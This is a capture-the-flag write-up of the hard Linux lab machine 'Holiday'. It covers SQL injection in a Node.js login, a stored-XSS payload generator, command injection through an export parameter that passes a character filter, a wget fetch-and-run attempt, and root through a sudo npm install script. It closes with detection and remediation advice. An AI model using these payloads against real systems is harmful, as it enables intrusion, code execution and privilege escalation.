Skip to content
All writeups

HTB: Holiday

SQL injection in a Node.js login form, a stored XSS that survives an image-only filter and runs in a headless admin browser, command execution through an export parameter limited to lower case, digits, ampersand, space and slash, and a sudo rule on npm install for root.

Published
Reading time
23 min
Difficulty
hard
Target
Linux (Holiday)

htblinuxnodejssqlisqlitestored-xsscommand-injectionnpmsudo

Overview

Holiday is a hard Linux machine that serves one Express application on port 8000. The login form builds its query by concatenation, which gives read access to the SQLite database and a login as the only agent without the password.

Agents can attach notes to bookings, a headless administrator browser opens every booking with a pending note once a minute, and the note filter can be made to emit a script element. That script reads an export endpoint that passes its table parameter to a shell. The resulting user may run npm i through sudo, and npm runs install scripts.

This is a second run of the box, done as if unseen; the two things remembered are marked where they occur. My own firewall drops unsolicited inbound traffic on the lab tunnel, so nothing from the target ever reached my machine and every step below works over the application’s HTTP port.

Reconnaissance

nmap -p- --min-rate 2000 -oN scans/02-full.nmap 10.129.29.106 >/dev/null 2>&1 &
nmap -sC -sV -oN scans/01-top1000.nmap 10.129.29.106
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Node.js Express framework

The full scan showed the same two ports.

for p in / /robots.txt /login /admin; do curl -s -m 15 -i http://$IP:8000$p | head -30; done
### /
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
[...]

All four paths answered 404 Cannot GET <path>. I remembered that this box cares about the User-Agent; repeating a request as a browser makes it is also a standing check in my notes. The repeat used -A "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" plus an Accept and an Accept-Language header (their exact values were not logged):

### browser headers /
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 621
[...]
      <title>Booking Management</title>
[...]
### control: curl UA, same Accept headers
HTTP/1.1 404 Not Found

All later requests go through a wrapper, h.sh:

#!/bin/bash
# h.sh <curl args...>: request to the target with the browser User-Agent
IP=$(cat /work/artifacts/target_ip.txt)
exec curl -s -m 20 -A "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" "$@"

Content discovery with the same header:

ffuf -s -u http://$IP:8000/FUZZ -H "User-Agent: $UA" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 80 -mc all -fc 404 -of csv -o artifacts/05-ffuf-small-words.csv
FUZZ,status_code,content_length
admin,302,28
js,301,163
logout,302,28
img,301,165
css,301,165
login,200,1171
Admin,302,28
[...]
agent,302,28
[...]

The three columns are cut from the CSV. /login is a username and password form. /admin and /agent redirect to it.

Attack Surface Analysis

Surface Weakness CWE
POST /login, username Query built by concatenation CWE-89
users.password Unsalted MD5, compared against whatever row the query returns CWE-916
POST /agent/addNote, body Filter rebuilds an unquoted src attribute; pending notes rendered unescaped to the administrator CWE-79
Booking page, administrator view The request’s Cookie header is written into a hidden form field, which hands an httpOnly cookie to page script CWE-201
GET /admin/export, table Value appended to a shell command; the allowed character set includes & CWE-78
setup/router.js, setup/app.js Administrator password and session secret hard-coded CWE-798
/etc/sudoers.d/algernon npm i * as any user without a password CWE-250

Vulnerability Analysis

The source quoted in this section was read after root. It explains what the black-box probes in the next section were seeing.

The login route, from setup/router.js:

var query = 'SELECT id, username, password, active FROM users WHERE (active=1 AND (username = "' + req.body.username +'"))';
[...]
        if (row.password == crypto.createHash('md5').update(req.body.password).digest('hex')) {
          req.session.username = row.username;
          res.redirect('/agent');
        } else {
          res.render('login.hbs', { username: row.username, publicError: 'Incorrect Password', query: query, queryTime: queryTime });
        }

Two brackets and a double quote enclose the input, four columns come back, and on a wrong password the row’s username is rendered into the form. That echo is the read channel. The password check trusts the row, so a UNION row with a hash of my choosing logs in. views/login.hbs lines 19 to 24 also print query and the driver’s error in HTML comments. My wrapper kept two lines of each response, so I probed for a shape the page was printing.

The User-Agent gate is setup/app.js line 19: express-useragent must classify the client as desktop or mobile. It is not a security control.

The note filter, same file:

var xssFilter = new xss.FilterXSS({
  whiteList: {
    img: ['src']
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    if (name === 'src' && isWhiteAttr) return name + '=' + value.replace(/["' ]/g, '') + '';
    return null;
  }
});

Only img with src survives. The handler then removes quotes and spaces from the value and returns the attribute without quotes around it. A quoted src may legally contain > and <; once the quotes are gone those characters end the tag and open a new one. The filter is applied on output, and the booking template prints the result twice with different escaping. From views/vac.hbs (lines 100 to 103 and 125 to 130), the agent’s Notes tab and then the Admin tab:

                                {{#each booking.notes}}
                                  {{#if approved}}
                                    <hr/>
                                    {{body}}<br/><br/>
[...]
                                <h2>Notes awaiting approval</h2>
                                {{#each booking.notes}}
                                  {{#if approved}}
                                  {{else}}
                                    <hr/>
                                    {{{body}}}<br/><br/>

Approved notes use {{body}}, which Handlebars escapes. Pending notes, shown only when the session is an administrator’s, use {{{body}}}, which it does not. Line 133 of the same block is <input type="hidden" name="cookie" value="{{../cookie}}">, filled from req.headers.cookie (router.js line 52). The cookie is set httpOnly in app.js line 33.

The administrator is setup/xss.js: a PhantomJS instance that logs in at http://localhost:8000/login every 60 seconds (line 43), collects the links on /admin except the export links (line 20), opens each, waits a second (line 29) and marks that booking’s notes approved.

The export route:

    var filteredTable = req.query.table.replace(/[^a-z0-9& \/]/g, '')
    if (filteredTable != req.query.table) return res.status(500).send('Invalid table name - only characters in the range of [a-z0-9&\\s\\/] are allowed');

    exec('sqlite3 hex.db SELECT\\ *\\ FROM\\ ' + filteredTable, function(err, stdout, stderr) {

With &, the value is a list of shell commands whose output is returned to the caller.

Exploitation

Phase 1: SQL injection to an agent session

l.sh posts the form and prints the message and the echoed value. It is the complete request for this primitive:

#!/bin/bash
# l.sh <username>: post the login form with that username and print the message and the echoed value
cd /work/artifacts
echo "### $1"
./h.sh http://$(cat target_ip.txt):8000/login --data-urlencode "username=$1" --data "password=x" | grep -E "<h2>|id=\"username\"" | grep -v signin-heading | sed 's/^ *//'

A manual admin/admin gave “Invalid User” and admin" gave “Error Occurred”, which prompted the batch. Twelve usernames went through it. The five that decided the query’s shape, with the input element’s other attributes trimmed:

### nobody
<input type="user" id="username" [...] value="">
<h2>Invalid User</h2>
### x" or "1"="1
<input type="user" id="username" [...] value="RickA">
<h2>Incorrect Password</h2>
### x" and "1"="2
<input type="user" id="username" [...] value="">
<h2>Invalid User</h2>
### x" or 1=1-- -
<input type="user" id="username" [...] value="">
<h2>Error Occurred</h2>
### x")) or 1=1-- -
<input type="user" id="username" [...] value="RickA">
<h2>Incorrect Password</h2>

A true condition and a false one give different answers, so the injection is real. A comment after one quote is a syntax error and after ")) it is not, so the input sits two brackets deep. With both brackets closed, ./l.sh 'x")) union select 1..n-- -' failed for n = 1, 2, 3, 5 and 6 and returned this for n = 4:

### x")) union select 1,2,3,4-- -
<input type="user" id="username" [...] value="2">
<h2>Incorrect Password</h2>

Column 2 is echoed. The schema came out through it in one request:

### x")) union select 1,(select group_concat(replace(sql,char(10),char(32)),char(124)) from sqlite_master),3,4-- -
<input [...] value="CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,active TINYINT(1))|CREATE TABLE sqlite_sequence(name,seq)|CREATE TABLE notes (id INTEGER PRIMARY KEY AUTOINCREMENT,booking_id INTEGER,body TEXT,created DATETIME DEFAULT CURRENT_TIMESTAMP,approved [...]

The tables are users, notes, bookings and sessions. One more request read them: one user, RickA, with a 32-character hex hash, and five sessions, each with "username":"admin","admin":true and expiry values one minute apart. Something logs in as an administrator every minute.

Dead end, under a minute: john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt on the RickA hash finished with 0 password hashes cracked, 1 left.

The hash was never needed: a UNION row can carry the hash of a password I choose. The login POST was sent with username x")) union select 1,"RickA","<md5 of x>",1-- - and password x, with a cookie jar, and then again with password y. The command line was not saved; it had the form ./h.sh -i -c jar.txt $B/login --data-urlencode 'username=...' --data 'password=x'. Its output, trimmed:

### union row with md5(x), password x
HTTP/1.1 302 Found
Location: /agent
### control: same row, password y
HTTP/1.1 200 OK
    <h2>Incorrect Password</h2>
[...]

/agent lists the bookings (100 by the count read through the injection), each linking to /vac/<uuid>. A booking page has a Notes tab with a form that posts uuid and body to /agent/addNote and the line “All notes must be approved by an administrator - this process can take up to 1 minute.” /admin with the agent cookie still redirects to the login page.

Phase 2: stored XSS in the administrator’s browser

The first note mixed bold text, an image with an alt, a script element and a javascript: link. After approval every tag was escaped twice except the image, which came back escaped once as <img src=x> with the alt gone: the application rebuilds image tags. Six image variants followed in one batch through notes.sh, whose request line is the complete request for this primitive ($B is the base URL and $U the booking uuid, defined as in c.sh below):

for f in "$@"; do ./h.sh -o /dev/null -w "$f %{http_code}\n" -b jar.txt $B/agent/addNote --data "uuid=$U" --data-urlencode "body@$f"; done

After 32 seconds the page rendered them. This is a summary: the left column is the note as sent, the right is the page output with the template’s HTML escaping undone for reading.

N1  <img src="a b">                               ->  <img src=ab>
N2  <img src="x/><script>var z=1</script>">       ->  <img src=x/><script>varz=1</script>>
N3  <img src=x onerror=z=1>                       ->  <img src=x>
N6  <img src=x/onerror=z=1>                       ->  <img src=x/onerror=z=1>

N4 and N5, quoted onerror attributes, also came back as <img src=x>. N2 is the result that matters: a quoted src keeps its angle brackets and leaves a script element after the image. The agent’s view escapes it; the next note tested the administrator’s.

The payload must contain no quotes and no spaces. mkxss.py encodes any script as character codes:

# mkxss.py <js file> <out file>: wrap the script as <img src="x/><script>eval(String.fromCharCode(...))</script>">
import sys, time
js = open(sys.argv[1]).read().replace('EXPIRY', str(int((time.time() + 300) * 1000)))
codes = ','.join(str(ord(c)) for c in js)
out = 'X1 <img src="x/><script>eval(String.fromCharCode(%s))</script>">' % codes
open(sys.argv[2], 'w').write(out)
print('len', len(out), 'spaces in tag:', out[3:].count(' '))

The first script sent an image beacon to my address and, as a second channel, posted the page back to the application as a new note through /agent/addNote. The beacon never arrived; I assume my firewall, a cause I confirmed only later and only for port 80. The note did: 12,096 bytes of base64 holding the administrator’s copy of the booking page, with location http://localhost:8000/vac/8dd841ff-[...], an empty document.cookie and a third tab named Admin that the agent’s copy does not have. Write-back became the only channel.

A second script posted the Admin tab and GET /admin. The tab is headed “Notes awaiting approval” and contains the pending note unescaped. /admin links to /admin/export?table=bookings and /admin/export?table=notes. The third script, xss3.js, in full:

(function(){try{
var d=document,U='uuid=8dd841ff-3f44-4f2b-9324-9a833e2c6b65&body=';
if(d.documentElement.outerHTML.indexOf('WEZUM0F8')>-1||Date.now()>EXPIRY)return;
function g(u){var x=new XMLHttpRequest();x.open('GET',u,false);x.send();return x.status+'|'+x.getAllResponseHeaders()+'|'+x.responseText;}
function p(s){var x=new XMLHttpRequest();x.open('POST','/agent/addNote',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send(U+encodeURIComponent(btoa(unescape(encodeURIComponent(s)))));}
var h=g(location.href).replace(/fromCharCode\([0-9,]+\)/g,'fromCharCode()');
p('XFT3A|'+h.substr(h.indexOf('id="admin"'),9000));
p('XFT3B|'+g('/admin/export?table=notes').substr(0,3000));
p('XFT3C|'+g('/admin/export?table=notes%26id').substr(0,3000));
}catch(e){}})()

The first line of the body is a guard against the script firing on its own output. It was a precaution, chosen before I knew that approved notes are rendered escaped. The requests are synchronous and the page is fetched again because the first capture had stopped part-way through; the source later showed the browser leaves after one second.

The last request puts &id in the table name. The log of that part of the session gives no reason for trying a shell separator first, before any SQL probe and before the filter had described itself. On a second run I count that as memory, not deduction.

python3 mkxss.py xss3.js x3.txt && ./x2run.sh x3.txt 3

x2run.sh adds the note with the same addNote request as above and polls the notes table through the injection. Its output:

len 2880 spaces in tag: 1
addNote 302
17:33:44
17:34:23
12:1968:WEZUMkJ8
13:2880:X1 &lt;img 
14:1512:WEZUM0F8
15:4008:WEZUM0J8
16:4008:WEZUM0N8">
[...]

The times are the box’s clock (UTC); &lt; and the trailing "> belong to the login template the rows are read through. Notes 14 to 16 are the browser’s three posts, 39 seconds after mine. getnote.sh reads one back through the injection (select body from notes where id=N in column 2) and base64-decodes it. The Admin tab, with the cookie value replaced:

                                    X1 <img src=x/><script>eval(String.fromCharCode())</script>><br/><br/>
                                    <small>Monday, November 23rd 2026, 5:33:44 pm</small><br/>
                                    <form action="/admin/approve" method="POST">
                                      <input type="hidden" name="cookie" value="connect.sid&#x3D;[redacted]">
                                      <input type="hidden" name="id" value="13">

The cookie is httpOnly, hence the empty document.cookie, and the page prints it into a form field anyway. With that value I no longer needed the browser.

Phase 3: command execution through the export

The two export fetches in the same script were the test and its control:

### export notes
[...]
Content-Disposition: attachment; filename="export-notes-1795455258818"
Connection: keep-alive
Content-Length: 26570
[...]
### export notes&id
[...]
Content-Disposition: attachment; filename="export-notes&id-1795455259859"
Connection: keep-alive
Content-Length: 30661

The second request ran after the first had been stored as a 4,008-byte note, so the longer response alone proved little. I moved to direct requests with the captured cookie. adm.sh takes it from the saved page and is the complete request for this primitive:

#!/bin/bash
# adm.sh <table value>: GET /admin/export?table=<value> with the admin cookie taken from the captured form
cd /work/artifacts
C=$(python3 -c "import re,html;print(html.unescape(re.search(r'name=\"cookie\" value=\"([^\"]*)\"',open('admin-tab-full.html').read()).group(1)))")
./h.sh -G -b "$C" http://$(cat target_ip.txt):8000/admin/export --data-urlencode "table=$1"

Four values went through it. The first, notes&id, returned the export. The other three:

### control: nosuchtable

### notes;id
Invalid table name - only characters in the range of [a-z0-9&\s\/] are allowed
### x&id&pwd&hostname
/home/algernon/app
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
holiday

One correction to the evidence: the saved file labels the last block x&id&uname -a&pwd. That label was typed apart from the argument and cannot be what was sent, since a dash draws the same refusal as the semicolon. The block is shown under the value the session log records. The lines are out of order because a single & puts each command in the background.

This is code execution as algernon with lower case, digits, &, space and /: no dot, dash, colon, quote, pipe or redirect. A file name with an extension cannot be typed and no option that needs a dash can be passed.

Dead end, one minute: wget with my address as one decimal number needs no dot. I served a script on port 80 and sent ./adm.sh "x&cd /dev/shm&&wget <decimal form of my address>/rs&&bash rs". Nothing arrived: my laptop’s firewall accepts established traffic only, and I left it shut.

Enumeration with commands that fit the filter came next (cat /etc/passwd, ls, ps aux, which). The session broke off before those command lines were logged, so they are reconstructed from the two output files. What the next step rests on: the working directory holds hex.db, which reports /usr/bin/sqlite3, and ps aux shows the route’s own command:

algernon  1722  0.0  0.0   4508   800 ?        S    17:35   0:00 /bin/sh -c sqlite3 hex.db SELECT\ *\ FROM\ x&cd /dev/shm&&wget 168431527/rs&&bash rs

tar and csplit were assumed present. That left the question of how to put a file of my choosing on the target with that character set. The application already stores my text: note bodies go into hex.db verbatim. Its directory name has no dot, tar cf takes options without a dash, and csplit cuts a file at lines matching /pattern/. The stage, stage.txt:

ZQS
true zqstart #
sqlite3 /home/algernon/app/hex.db "select body from notes where body like 'ZQC%' order by id desc limit 1" | tr -d '\r' | tail -n +2 | bash 2>&1 #
true zqend

ZQS keeps the first marker on a line of its own inside the database page. Archive the application directory, cut the archive at the two marker lines, and the middle piece is a two-line shell script that runs the newest note starting ZQC. A local test on an SQLite file with CRLF line ends left a carriage return on each line, hence the trailing #; the target turned out to store LF only. On the target, plant.sh stores stage.txt with the addNote request and then sends:

./adm.sh "x&cd /dev/shm&&tar cf a /home/algernon/app&&csplit a /zqstart/ /zqend/&&ls /dev/shm&&wc /dev/shm/xx01&&cat /dev/shm/xx01"
[...]
414541
162
174720017
a
xx00
xx01
xx02
  2  31 162 /dev/shm/xx01
true zqstart #
sqlite3 /home/algernon/app/hex.db "select body from notes where body like 'ZQC%' order by id desc limit 1" | tr -d '\r' | tail -n +2 | bash 2>&1 #

The archive was 175 MB with node_modules; the next command deleted it. From here c.sh runs any script with any characters:

#!/bin/bash
# c.sh <script file>: store the file as a note starting ZQC, then run the carved stage (/dev/shm/xx01) through /admin/export; prints the output
cd /work/artifacts; B=http://$(cat target_ip.txt):8000; U=8dd841ff-3f44-4f2b-9324-9a833e2c6b65
{ echo ZQC; cat "$1"; } > .zqc
./h.sh -o /dev/null -w 'addNote %{http_code}\n' -b jar.txt $B/agent/addNote --data "uuid=$U" --data-urlencode "body@.zqc" >&2
./adm.sh "x&bash /dev/shm/xx01"

The first script through it, e1.sh:

rm -f /dev/shm/a /dev/shm/xx00 /dev/shm/xx02; ls -la /dev/shm; df -h /dev/shm | tail -1
echo '### id'; id; uname -a; cat /etc/lsb-release
echo '### sudo'; sudo -n -l
echo '### fw'; cat /etc/iptables/rules.v4 /etc/ufw/user.rules 2>&1 | head -40
echo '### home'; ls -la /home/algernon /home/algernon/.ssh 2>&1; wc -c /home/algernon/user.txt
echo '### ss'; ss -lntup
[...]
### id
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
Linux holiday 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[...]
### sudo
[...]
User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *
[...]
-rw-rw-r--   1 algernon algernon   33 Nov 23 17:22 user.txt

Phase 4: sudo npm to root

npm i <folder> installs the package in that folder and runs its lifecycle scripts. The second script through c.sh, e2.sh, builds a package whose preinstall is a shell script and installs it:

mkdir -p /dev/shm/p && cd /dev/shm/p
cat > package.json <<'PJ'
{"name":"p","version":"1.0.0","scripts":{"preinstall":"sh /dev/shm/p/r.sh"}}
PJ
cat > r.sh <<'RS'
exec > /dev/shm/p/out 2>&1
echo '### id'; id
echo '### root dir'; ls -la /root; stat /root/root.txt
cp /root/root.txt /dev/shm/p/rf; chown algernon /dev/shm/p/rf /dev/shm/p/out; chmod 600 /dev/shm/p/rf
echo '### sudoers'; grep -v '^#' /etc/sudoers | grep .; ls -la /etc/sudoers.d; cat /etc/sudoers.d/* | grep -v '^#'
echo '### cron'; crontab -l; ls -la /var/spool/cron/crontabs /etc/cron.d; cat /var/spool/cron/crontabs/*
echo '### ufw'; grep -v '^#' /etc/ufw/user.rules | grep .
echo '### ps'; ps -eo user,pid,lstart,args | grep -v ' \[' 
echo '### root files'; find /root -maxdepth 2 -type f -not -path '*/node_modules/*' -not -path '*/.npm/*' | head -40
RS
echo '### npm'; npm -v; node -v
cd /dev/shm && sudo -n /usr/bin/npm i /dev/shm/p --unsafe-perm 2>&1 | tail -15
echo '### out'; cat /dev/shm/p/out; ls -la /dev/shm/p /dev/shm
### npm
3.10.10
v6.10.3

> p@1.0.0 preinstall /dev/shm/node_modules/.staging/p-d9613aa6
> sh /dev/shm/p/r.sh

/dev/shm
└── p@1.0.0 
[...]
### out
### id
uid=0(root) gid=0(root) groups=0(root)

The trailing * in the sudo rule is what admits --unsafe-perm, which tells npm not to drop privileges before running scripts. I did not test the install without it.

Post-Exploitation

r.sh collected what only root can read. From its output:

### sudoers
[...]
-rw-r--r--  1 root root   46 May 25  2017 algernon
[...]
algernon ALL=(ALL) NOPASSWD: /usr/bin/npm i *
### cron
no crontab for root
[...]
algernon  1156 Mon Nov 23 17:22:12 2026 npm
[...]
algernon  1289 Mon Nov 23 17:22:13 2026 sh -c supervisor -e 'js|hbs|css' node index.js
algernon  1290 Mon Nov 23 17:22:13 2026 node /home/algernon/app/node_modules/.bin/supervisor -e js|hbs|css node index.js
algernon  1296 Mon Nov 23 17:22:13 2026 node index.js

The application is started at boot by npm as algernon, under supervisor, and the PhantomJS administrator is created inside that same Node process, so the approval browser and the web server share a uid. The application source (13 files, 25,673 bytes) came back as a base64 tarball through c.sh (cd /home/algernon/app && tar czf - index.js package.json setup views layouts | base64 -w0); it is the source quoted in Vulnerability Analysis, and it holds the administrator’s password and the session signing secret in plain text. What starts npm at boot was not found: root has no crontab and I did not list the systemd units.

Defensive Analysis

None of this was checked on the target.

  • Phase 1. I sent 25 POSTs to /login before the first note, and the route stayed my read channel for every later poll. The application’s logger (morgan, app.js line 48) records the request line, not the body. The access log can still count failed logins per address; a line logging the length of the submitted username at the route would make the injection obvious.
  • Phase 2. Notes of 2,000 to 12,000 bytes on a booking, some of them pure base64, are far outside what an agent types. The requests that created them came from the local browser with an administrator session, to /agent/addNote, a route the approval routine never uses.
  • Phase 3. sqlite3 is the only child the web process should start. tar, csplit and bash under node are process events for auditd (execve by uid 1001).
  • Phase 4. sudo logs each command line: look for npm i /dev/shm/p --unsafe-perm in /var/log/auth.log.

Remediation

  1. Use bound parameters in the login query, as the application’s other queries already do.
  2. Store passwords with a salted, slow hash (argon2id or bcrypt).
  3. Remove the custom onTagAttr handler, or have it return the attribute quoted and escaped. Render pending notes with {{body}}. A Content-Security-Policy without unsafe-inline on the booking page is a second layer; I did not test whether PhantomJS enforces one.
  4. Delete the hidden cookie field. The approve route reads only id (router.js line 114).
  5. Replace the exec call with the SQLite driver the application already holds, and check table against the two literal names the page links to.
  6. Remove the sudo rule; install packages at deploy time, unprivileged, with ignore-scripts=true.
  7. Move the administrator password and session secret out of the source and rotate both: with the secret and a session id read through the injection, an administrator cookie can be forged with no browser involved. Run the approval browser under a separate account.

Key Takeaways

  • An XSS payload needs no callback when the victim can write to something the attacker can read.
  • A restricted character set is a question of which programs take their arguments in the characters that remain.